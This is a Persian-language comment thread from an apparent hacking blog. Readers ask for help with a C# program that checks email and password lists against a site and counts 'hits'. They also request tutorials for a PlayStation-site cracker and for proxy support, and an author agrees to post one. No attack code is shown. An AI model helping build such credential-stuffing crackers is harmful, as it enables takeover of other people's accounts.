    به زبان ساده اگه بگم الان پروژه تو شی لیست رو نمی تونه شناسایی کنه در حالی که این شی برای سی شارپ از قبل تعریف شده و استاندارد هست
    حالا یا ایراد از پروژه ات هست یا کامپایلرت یا ویندوزت یا کد نویسیت
    یه عکس از خطا بده شاید جایی که کد رو نوشتی مشکل داره شایدم یکی از کتابخونه هارو فراخونی نکردی شاید اسم پروژه ات مشکل داره و ....

    اگه میشه ایدی تلگرامتو بده ازت تو تلگرام بپرسم عکسشم بفرستم

    ممنون

    Virus32 Virus 32 :
    نه
    ممنون ♥
    :)

    خب عکسشو چجوری برات بفرستم

    Virus32 Attrib32 32 32 :
    تو بیان آپلود کن

    سلام وقت بخیر 
    ییخشید من دنبال اموزش کد نویسی در زمینه هک هستم میخواستم بپرسم اموزش میدید یا خیر
    خودم تا حدودی اشنایی به زبان سی شازپ تحت ویندوز دارم 
    اگر قبول کنید ممنون میشم
    منتظر پاسختون هستم

    Virus32 Attrib32 32 32 :
    میتونید از پست ها استفاده کنید

    سلام این برنامه مشکل داره چون نگفین برای هر یک از اون باتون ها چه اسمی بگذاریم

    لطفا بگید.

    Virus32 Attrib32 32 32 :
    خدایا منو بکش... 
    Atrib 32 :

    خدایا منو بکش... 

    ---------------------------------

    D:

    Virus32 32 Attacker ‌ :
    D:

    عیب نداره اتریب

    خودتو کنترل کن ما همگی میمیریم راحت  میشیم

    من یه رفیق داشتم میگفت آی هو آ فرند

    هر نیم ایز علی

    ترجمه :

    I have a frind. her name is Ali

    من از اون به بعد آدم سابق نشدم

    آیه رو یادم نیست ولی ترجمش میشد :

    ***«««بعد از هر سختی ای آسانی ای وجود دارد»»»***

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

    D:

    Virus32 Attrib32 32 32 :
    این شی شی میگه؟

    بابا من اون موقع تو حال خودم نبودم

    امتحان داشتم تازه از سر امتحان اومده بودم

    حالا هم فردا امتحان دارم :(

    فردا هم اگه اینترنت دستم برسه از همین چیزا میزارم

    بلکه خدا یک کاری کنه نمرم خوب بشه

    :)

    I have a frind. her name is Ali

    من از اون به بعد آدم سابق نشدم

     

    ----------------------------------------------

    D:

    D:

    Virus32 32 Attacker ‌ :
     D:

    سلام داداش این columns که گفتی رو چجوری باید اد کنیم؟

     

    Virus32 MicRoB 32 :
    columns یکی از ویژگی های List View هستش
    توی properties لیست ویو دنبال باش پیداش میکنی


    سلام برای سایت پلستیشن هم کرکر آموزش بدین...

    Virus32 32 Attacker ‌ :
    سلام، اتفاقا میکروب ماهم چندوقت پیش داشت یه پست. راجب کرک میزاشت که پشیمون شد‌. بزار ببینه شاید یه پست واس توهم گزاشت :)

    آموزش کرکر با پروکسی هم بزار لطفا

    سلام داداش تو کد نویسی باتنه start یه مشکلی دارم 

    کده :    List.enumer

    List رو برام نمیاره ارور میاره 

    list تو بخش کدا نیست بجای لیست چی رو جایگذین کتم

    Virus32 ATB () :
    ارورش چیه؟

    سلام من در حدی برنامه رو پیش بردم که ایمیل ها و پسورد هارو چک میکنه و میگه هیچ کدوم درست نیست، درصورتی که من خودم یه اکانت درست کردم و مطمئنم که درسته رو دادم بهش باز میگه غلطه و hits 0 تغییر نمیکنه.

    |:

    لطفا جواب بده. ممنون.

    Virus32 Virus 32 :
    سلام
    راستش من این پروژه رو نتونستم روش کار کنم
    نویسنده اش هم رفته ماهیگیری یه مدته نیستش
    در کل این پست چکش کاری زیادی میخواد

    خواهشا اموزش دکمه پروکسی رو هم بزار
    خیلی واجبه

    Virus32 ATB () :
    سلام چشم
    ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
    شما میتوانید از این تگهای html استفاده کنید:
    <b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
    تجدید کد امنیتی